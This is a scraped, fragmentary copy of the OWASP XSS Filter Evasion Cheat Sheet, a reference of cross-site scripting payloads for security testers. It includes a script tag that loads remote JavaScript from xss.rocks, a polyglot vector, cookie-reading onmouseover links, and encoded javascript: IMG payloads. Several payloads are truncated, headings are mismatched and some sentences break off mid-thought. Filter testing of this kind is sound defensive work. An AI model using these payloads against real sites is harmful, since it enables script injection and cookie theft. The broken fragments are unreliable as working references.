Donate Join

XSS Filter Evasion Cheat Sheet

Author: Jim Manico, Robert RSnake Hansen
Contributor(s): Abdullah Hussam, Michael McCabe, Luke Plant, Randomm, David Shaw, ALange, Matt Tesauro, Adam Caudill, Anandu, DhirajMishra, Ono, Bill Sempf, Dan Wallis, Peter Mosmans, Dominique Righetto, Agit Kaplan, kingthorin

Introduction

This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: `http://ha.ckers.org/xss.html`. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the Cross Site Scripting Prevention Cheat Sheet, was inspired by RSnake's XSS Cheat Sheet, so we can thank RSnake for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the OWASP Cheat Sheet Series was born.

Tests

This cheat sheet lists a series of XSS attacks that can be used to bypass certain XSS defensive filters. Please note that input filtering is an incomplete defense for XSS which these tests can be used to illustrate.

most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

```
<SCRIPT SRC=http://xss.rocks/xss.js>
</SCRIPT>
```

XSS Locator (Polygot)

The following is a “polygot test XSS payload.” This test will execute in multiple contexts including html, script string, js and url. Thank you to Gareth Heyes for this contribution.

```
javascript:/*--></title></style>
</textarea></script></xmp>
<svg/onload='+/"/+/onmouseover=1
/+/[*/[]/+alert(1)//'>
```

Image XSS Using the JavaScript Directive

Image XSS using the JavaScript directive (IE7.0 doesn’t support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:

```
<IMG SRC="javascript:alert('XSS');">
```

No Quotes and no Semicolon

```
<IMG SRC=javascript:alert('XSS')>
```

Case Insensitive XSS Attack

Grave Accent Obfuscation

If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:

```
<IMG SRC=`javascript:alert("RSnake says,
'XSS'")`>
```

Malformed A Tags

Skip the HREF attribute and get to the meat of the XXS… Submitted by David Cross ~ Verified on Chrome

```
\<a
onmouseover="alert(document.cookie)"\
>xxs link\</a\>
```

or Chrome loves to replace missing quotes for you… if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.

```
\<a
onmouseover=alert(document.cookie)\>x
xs link\</a\>
```

fromCharCode

If no quotes of any kind are allowed you can `eval()` a `fromCharCode` in JavaScript to create any XSS vector you need:

```
<IMG
SRC=javascript:alert(String.fromCharC
ode(88,83,83))>
```

Default SRC Tag to Get Past Filters that Check SRC Domain

This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like `onblur`, `onclick` giving you an extensive amount of variations for many injections listed here. Submitted by David Cross .

Edited by Abdullah Hussam(@Abdulahhusam).

```
<IMG SRC=#
```

Alert Encode

```
<img src=x
onerror="&#0000106&#0000097&#0000118&
#0000097&#0000115&#0000099&#0000114&#
0000105&#0000112&#0000116&#0000058&#0
000097&#0000108&#0000101&#0000114&#00
00116&#0000040&#0000039&#0000088&#000
0083&#0000083&#0000039&#0000041">
```

Decimal HTML Character References

All of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).

```
<IMG SRC=&#106;&#97;&#118;&#97;&#115;
```

```
0083&#0000083&#0000039&#0000041>
```

Hexadecimal HTML Character References Without Trailing Semicolons

This is also a viable XSS attack against the above string $tmp_string=~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).

```
<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x
```

Embedded Carriage Return to Break-up XSS

(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

between the quote and the `javascript:` keyword. The actual reality is you can have any char from 1-32 in decimal:

```
<IMG SRC=" &#14;
javascript:alert('XSS');">
```

Submitted by Franz Sedlmaier, this XSS vector

Spotlight: StackHawk

StackHawk is dynamic application vulnerability scanning built for modern development teams. With simple configuration, easy invocation via docker command, and interpretable results, StackHawk is built for developers to take control of their AppSec.

Corporate Supporters

Become a corporate supporter

services, allowing our community to remain vendor neutral with the collective wisdom of the best minds in software security worldwide.